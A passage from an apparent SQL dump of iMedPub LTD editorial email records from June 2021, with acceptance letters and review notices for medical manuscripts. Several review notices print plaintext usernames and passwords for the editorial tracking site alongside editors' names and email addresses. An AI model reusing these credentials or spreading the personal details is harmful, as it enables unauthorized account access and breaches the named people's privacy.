href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','cristina.martinezavila@gmail.com',8442,'2021-06-02',274),(3255,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8229</b><br />\r\n            <br />\r\n            Article Title: <b>Outcomes of Surgical Patients Admitted to the Intensive Care Unit of Jimma University Medical Center</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rad</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mulu4915@gmail.com',8229,'2021-06-03',48),(3256,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-6979</b><br />\r\n            <br />\r\n            Article Title: <b>Health benefits of jaggery Tea on the account of COVID-19</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Patil</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','bhagyashri1271@gmail.com',6979,'2021-06-03',48),(3257,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7445</b><br />\r\n            <br />\r\n            Article Title: <b>A Review of Novel Coronavirus Infection: COVID-19</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Singh</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drparaslrs@gmail.com',7445,'2021-06-03',48),(3258,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8282</b><br />\r\n            <br />\r\n            Article Title: <b>Improving the role of medical scientific societies during health crises</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Fereidouni</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dr.m.fereidouni@gmail.com',8282,'2021-06-03',48),(3267,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-21-8797</b><br />\r\n            <br />\r\n            Article Title: <b>Developing a Multimodal Curriculum for Teaching Enhanced-view Total Extra-Peritoneal (eTEP)</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Shlomi Rayman</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wang</b><br />\r\n            <br />\r\n            The review for the manuscript <b>IPJUS-21-8797</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','ivywang@creighton.edu',8797,'2021-06-05',319),(3275,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7990</b><br />\r\n            <br />\r\n            Article Title: <b>Sexual Dysfunction and its predictors among m ale patients with epilepsy attending public hospitals, east Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Madoro</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','derebemd@gmail.com',7990,'2021-06-08',48),(3276,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7093</b><br />\r\n            <br />\r\n            Article Title: <b>Effects of electromagnetic radiation emitted by telephones: a cross-sectional study in confinement in Angola </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rodino</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','analcisio@hotmail.com',7093,'2021-06-09',48),(3277,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8115</b><br />\r\n            <br />\r\n            Article Title: <b>DYSMORPHIC SYNDROME OR BODY DYSMORPHIC DISORDER: A MAJOR UNDERDIAGNOSED MENTAL HEALTH PROBLEM</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sanchez Ca&Atilde;&plusmn;ate </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','wsanchezc10@curnvirtual.edu.co',8115,'2021-06-10',48),(3278,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8704</b><br />\r\n            <br />\r\n            Article Title: <b>COVID 19 infection as a cause of COPD exacerbation in a vaccinated patient</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Radosavljevic</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sladjaradosavljevic16@yahoo.com',8704,'2021-06-10',48),(3280,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8591</b><br />\r\n            <br />\r\n            Article Title: <b>SEXUAL ABUSE: SOCIAL INEQUALITY AND POVERTY</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rolim Neto</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','modesto.neto@ufca.edu.br',8591,'2021-06-10',85),(3282,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8742</b><br />\r\n            <br />\r\n            Article Title: <b>DIGITAL MEDICINE SYSTEM: IMPACT OF RISING TECHNOLOGY</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>RUPALI</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ruupalipatil@gmail.com',8742,'2021-06-11',85),(3286,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8491</b><br />\r\n            <br />\r\n            Article Title: <b>The value of different electrocardiographic patterns at hospital admission in predicting clinical outcome in pulmonary embolism</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Darko Angjushev</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Hiroaki </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-8491</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> satoh<br />\r\n            <b>Password:</b> 4CHdz3yc<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','hiroaki@fmu.ac.jp',8491,'2021-06-12',85),(3291,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-8043</b><br />\r\n            <br />\r\n            Article Title: <b>Intraoperative Computer Tomography-guided Percutaneous Celiac Plexus Neurolysis for Pain Relief in Abdominal Malignancy</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Wei-Yuan Cheng</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-8043</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',8043,'2021-06-13',75),(3292,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8848</b><br />\r\n            <br />\r\n            Article Title: <b>Lung cancer patients, at high risk for admission due to pneumonia, did not require hospitalization for COVID19 at Creighton University Medical Center-Bergan Mercy in 2020.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Leah Damiani Strain</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shyam </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-8848</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sundar_nandi<br />\r\n            <b>Password:</b> 72j2Bjjk<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','shyam.nandi@unmc.edu',8848,'2021-06-13',85),(3293,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-8043</b><br />\r\n            <br />\r\n            Article Title: <b>Intraoperative Computer Tomography-guided Percutaneous Celiac Plexus Neurolysis for Pain Relief in Abdominal Malignancy</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Cheng</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','alexjeng2000@gmail.com',8043,'2021-06-13',75),(3294,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-8043</b><br />\r\n            <br />\r\n            Article Title: <b>Intraoperative Computer Tomography-guided Percutaneous Celiac Plexus Neurolysis for Pain Relief in Abdominal Malignancy</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Cheng</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','alexjeng2000@gmail.com',8043,'2021-06-13',75),(3308,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8588</b><br />\r\n            <br />\r\n            Article Title: <b>CARDIOVASCULAR SYSTEM AND SARS-COV-2 &ndash; ETIOLOGY, PHYSIOPATHOLOGY AND CLINICAL PRESENTATION: A SYSTEMATIC REVIEW</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rolim Neto</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-14</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','modesto.neto@ufca.edu.br',8588,'2021-06-15',85),(3312,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8848</b><br />\r\n            <br />\r\n            Article Title: <b>Lung cancer patients, at high risk for admission due to pneumonia, did not require hospitalization for COVID19 at Creighton University Medical Center-Bergan Mercy in 2020.</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shyam </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-21-8848</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision 